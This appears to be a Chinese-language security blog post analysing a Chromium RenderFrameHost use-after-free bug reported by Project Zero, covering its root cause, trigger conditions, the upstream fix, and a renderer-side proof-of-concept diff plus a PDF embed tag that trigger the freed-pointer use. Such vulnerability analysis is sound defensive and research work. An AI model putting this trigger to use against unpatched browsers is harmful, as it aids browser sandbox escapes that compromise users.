RenderFrameHost系列(二)
在《RenderFrameHost系列(一)》中,我们介绍了与RenderFrameHost相关的基本内容以及一个漏洞变体。在该漏洞变体中,攻击者通过创建一个状态为RenderFrameState::kNeverCreated的RenderFrameHostImpl对象,来绕过该对象析构时通知RenderFrameDeleted的条件,从而在该对象析构之后得到一个dangling pointer来进一步触发漏洞。本文将会介绍在该漏洞被修复之后,另一种绕过RenderFrameDeleted函数通知的方法。
漏洞介绍
新的漏洞变体是Project Zero的研究员glazunov发现的,漏洞报告可以参考如下链接:
https://bugs.chromium.org/p/project-zero/issues/detail?id=2233
该漏洞变体同样利用到了RenderFrameHostImpl析构时满足一定条件才通知RenderFrameDeleted的特性,与之前变体的不同之处在于,新的漏洞变体在创建完一个正常的RenderFramtHostImpl对象之后,能够在不析构该对象的情况下,把该对象的状态设置为RenderFrameState::kDeleted。这同样可以绕过析构函数中if (was_created)
的检查,从而实现析构RenderFrameHostImpl对象时不会调用RenderFrameDeleted来通知观察者。
漏洞原理
- 根本原因
根据系列(一)中的内容,一个正常的frame会在析构时,将自己的状态设置为RenderFrameState::kDelete[1],并且根据frame之前是否为RenderFrameState::kCreated状态来调用RenderFrameDeleted函数,通知观察者这个frame被删除了。
RenderFrameHostImpl::~RenderFrameHostImpl() {
[...]
const bool was_created = is_render_frame_created();
render_frame_state_ = RenderFrameState::kDeleted; //[1]
if (was_created)
delegate_->RenderFrameDeleted(this);
[...]
但是除了析构函数,RenderFrameHostImpl::OnUnloadACK
也可以将当前frame设置为RenderFrameState::kDeleted状态,并且通知RenderFrameDeleted。而一旦将frame设置为RenderFrameState::kDeleted状态,那么该frame对应的RenderFrameHostImpl在析构时就不会调用RenderFrameDeleted,也就是(一)中介绍的漏洞变体的情况。
这里和(一)有一点不同在于,这里会先调用一次RenderFrameDeleted,也就是会通知所有的观察者,当前frame已经被删除了。但是,这个过程仅仅是将观察者中的frame设置为空,并不会断开Mojo连接,也就是说我们可以在此之后重新建立Mojo连接。具体代码会在第3小节中解释。
- 条件
根据代码得知,只有在满足frame_tree_node_->render_manager()->is_attaching_inner_delegate()
[2]这个条件时,才能调用到RenderFrameDeleted函数,进而把frame设置为RenderFrameState::kDeleted状态[3]。
void RenderFrameHostImpl::RenderFrameDeleted() {
[...]
bool was_created = is_render_frame_created();
render_frame_state_ = RenderFrameState::kDeleting;
// If the current status is different than the new status, the delegate
// needs to be notified.
if (was_created) {
delegate_->RenderFrameDeleted(this);
}
if (web_ui_) {
web_ui_->RenderFrameDeleted();
web_ui_->InvalidateMojoConnection();
}
render_frame_state_ = RenderFrameState::kDeleted; // [3]
}
void RenderFrameHostImpl::OnUnloadACK() {
[...]
if (frame_tree_node_->render_manager()->is_attaching_inner_delegate()) { // [2]
// This RFH was unloaded while attaching an inner delegate. The RFH
// will stay around but it will no longer be associated with a RenderFrame.
RenderFrameDeleted();
return;
}
// Ignore spurious unload ack.
if (!is_waiting_for_unload_ack_)
return;
[...]
}
要满足is_attaching_inner_delegate
函数的话,需要让attach_to_inner_delegate_state_
不为NONE[4],这里我们需要通过set_attach_complete
函数来给attach_to_inner_delegate_state_
设置一个值[5],以满足条件。
bool is_attaching_inner_delegate() const {
return attach_to_inner_delegate_state_ != AttachToInnerDelegateState::NONE; // [4]
}
void set_attach_complete() {
attach_to_inner_delegate_state_ = AttachToInnerDelegateState::ATTACHED; // [5]
}
set_attach_complete
函数只有在WebContentsImpl::AttachInnerWebContents
函数中被调用到,而 WebContentsImpl::AttachInnerWebContents
函数只会被两种frame调用到:portals和guest views。
关于innerWebContents的概念与相关漏洞,我们会在该系列的后续文章中做进一步的分析,目前仅需要知道有两种frame可以满足上述判断条件即可。
该漏洞以guest views为例,要在HTML中添加一个guest view的话,仅需要使用embed标签,嵌入一个PDF文档即可。
- 触发
至此,我们就可以得到一个状态为RenderFrameState::kDeleted,但是并没有被析构的畸形RenderFrameHostImpl对象。如第1小节中所讲,RenderFrameHostImpl::OnUnloadACK会提前调用RenderFrameDeleted来通知观察者,这里以ConversionHost为例说明该过程的影响:
ConversionHost中并没有直接保存RenderFrameHost,而通过一个RenderFrameHostReceiverSet类来管理多个receivers。RenderFrameHostReceiverSet中重载的RenderFrameDeleted函数如下,它会根据当前被删除的RenderFrameHost,从他的map中寻找并移除对应的RenderFrameHost。
然而,在整个移除过程中并没有断开Mojo连接,因此被移除的RenderFrameHost可以通过Bind函数再次进行绑定,添加到map中,所以我们仍然能通过Mojo调用的方式,给Browser端的ConversionHost的receiver发送消息,从而触发漏洞。
void RenderFrameDeleted(RenderFrameHost* render_frame_host) override {
auto it = frame_to_receivers_map_.find(render_frame_host);
if (it == frame_to_receivers_map_.end())
return;
for (auto id : it->second)
receivers_.Remove(id);
frame_to_receivers_map_.erase(it);
}
void Bind(RenderFrameHost* render_frame_host,
mojo::PendingAssociatedReceiver<Interface> pending_receiver) {
mojo::ReceiverId id =
receivers_.Add(impl_, std::move(pending_receiver), render_frame_host);
frame_to_receivers_map_[render_frame_host].push_back(id);
}
漏洞触发方式
漏洞的整个触发流程如下:
- 通过嵌入PDF文档的方式来创建一个guest view frame
- 当Renderer收到
Frame::Unload
的Mojo调用时,说明该frame的is_attaching_inner_delegate
已经被设置为True状态 - 从Renderer端调用
DidUnloadRenderFrame
来把该frame的状态设置为RenderFrameState::kDeleted - 从Renderer端向Browser端请求一个新的Mojo接口,要求这个接口中要存有RenderFrameHost的指针(这里以ConversionHost类为例)
- 删除该frame。此时RenderFrameHostImpl会被析构,但是由于frame的状态不是RenderFrameState::kCreate状态,所以
RenderFrameDeleted
不会被调用 - 从Renderer端给新请求的Mojo接口发消息,触发对已经释放了的RenderFrameHostImpl指针的使用,导致漏洞发生。
具体来说,该漏洞需要patch Renderer端的代码,在Renderer端的RenderFrameImpl::Unload
函数中,添加上述触发流程中所需的代码。
[1]是调用DidUnloadRenderFrame函数来设置frame的状态为RenderFrameState::kDeleted
[2]是请求一个新的Mojo接口blink::mojom::ConversionHost
[3]是删除当前frame
[4]是通过新请求的Mojo接口发送消息,触发漏洞
diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc
index c70c1a418fdc7..ec39f6576fe91 100644
--- a/content/renderer/render_frame_impl.cc
+++ b/content/renderer/render_frame_impl.cc
@@ -11,6 +11,9 @@
#include <utility>
#include <vector>
+#include "third_party/blink/public/mojom/conversions/conversions.mojom-blink.h"
+#include "third_party/blink/renderer/core/frame/web_local_frame_impl.h"
+
#include "base/auto_reset.h"
#include "base/bind.h"
#include "base/callback_helpers.h"
@@ -2126,6 +2129,32 @@ void RenderFrameImpl::Unload(
routing_id_);
DCHECK(!base::RunLoop::IsNestedOnCurrentThread());
+ if (!is_loading) {
+ sleep(2);
+
+ fprintf(stderr, "Triggering the bug...\n");
+
+ agent_scheduling_group_.DidUnloadRenderFrame(frame_->GetLocalFrameToken()); // [1]
+
+ sleep(2);
+
+ mojo::AssociatedRemote<blink::mojom::ConversionHost> service;
+ GetRemoteAssociatedInterfaces()->GetInterface( // [2]
+ service.BindNewEndpointAndPassReceiver());
+
+ sleep(2);
+
+ static_cast<blink::WebLocalFrameImpl*>(frame_)
+ ->GetFrame()->GetLocalFrameHostRemote().Detach(); // [3]
+
+ sleep(2);
+
+ blink::mojom::ConversionPtr conversion = blink::mojom::Conversion::New();
+ service->RegisterConversion(std::move(conversion)); // [4]
+
+ sleep(100);
+ }
+
// Send an UpdateState message before we get deleted.
// TODO(dcheng): Improve this comment to clarify why it's important to sent
// state updates.
而对于嵌入PDF的部分,只需要在页面中加一个embed的标签即可:
<embed src="data:application/pdf,a"></embed>
漏洞补丁
该漏洞在通过Mojo调用的方式触发时,关键点在于设置frame为RenderFrameState::kDeleted状态后,相关的Mojo接口仍然存在,可以重新建立连接。所以补丁的关键部分如下:在RenderFrameHostImpl::RenderFrameDeleted函数中把所有的Mojo连接全部断开,防止在已经设为RenderFrameState::kDeleted状态的RenderFrameHostImpl上重新建立Mojo连接来发送消息。
对于之前RenderFrameHostImpl::InvalidateMojoConnection
函数中没有处理到的Mojo接口,也都增加到了该函数中进行了断开处理。
void RenderFrameHostImpl::RenderFrameDeleted() {
[...]
@@ -3135,6 +3133,7 @@
if (was_created) {
delegate_->RenderFrameDeleted(this);
}
+ InvalidateMojoConnection();
if (web_ui_) {
web_ui_->RenderFrameDeleted();
web_ui_->InvalidateMojoConnection();
}
render_frame_state_ = RenderFrameState::kDeleted;
}
@@ -8348,30 +8348,38 @@
}
void RenderFrameHostImpl::InvalidateMojoConnection() {
- frame_.reset();
- frame_bindings_control_.reset();
- frame_host_associated_receiver_.reset();
- back_forward_cache_controller_host_associated_receiver_.reset();
- local_frame_.reset();
- local_main_frame_.reset();
- high_priority_local_frame_.reset();
- find_in_page_.reset();
- render_accessibility_.reset();
-
- // Disconnect with ImageDownloader Mojo service in Blink.
- mojo_image_downloader_.reset();
-
- // The geolocation service and sensor provider proxy may attempt to cancel
- // permission requests so they must be reset before the routing_id mapping is
- // removed.
+ // While not directly Mojo endpoints, both `geolocation_service_` and
+ // `sensor_provider_proxy_` may attempt to cancel permission requests.
geolocation_service_.reset();
sensor_provider_proxy_.reset();
- render_accessibility_host_.Reset();
+ associated_registry_.reset();
+ mojo_image_downloader_.reset();
+ find_in_page_.reset();
+ local_frame_.reset();
+ local_main_frame_.reset();
+ high_priority_local_frame_.reset();
+
+ frame_host_associated_receiver_.reset();
+ back_forward_cache_controller_host_associated_receiver_.reset();
+ frame_.reset();
+ frame_bindings_control_.reset();
local_frame_host_receiver_.reset();
local_main_frame_host_receiver_.reset();
- associated_registry_.reset();
+
+ broker_receiver_.reset();
+
+ render_accessibility_.reset();
+ render_accessibility_host_.Reset();
+
+ dom_automation_controller_receiver_.reset();
+
+#if BUILDFLAG(ENABLE_PLUGINS)
+ pepper_host_receiver_.reset();
+ pepper_instance_map_.clear();
+ pepper_hung_detectors_.Clear();
+#endif // BUILDFLAG(ENABLE_PLUGINS)
}
此外,漏洞报告中还指出,除了Mojo调用触发的方式,一些公共的WebAPI也有可能使用到这些已经设置为RenderFrameState::kDeleted状态的frame,因此修复补丁还对其他不同的WebAPI中可能使用该类frame的点进行了修复,在此不再赘述。
后续
后续系列将分享更多关于RenderFrameHost以及WebContents的漏洞分析。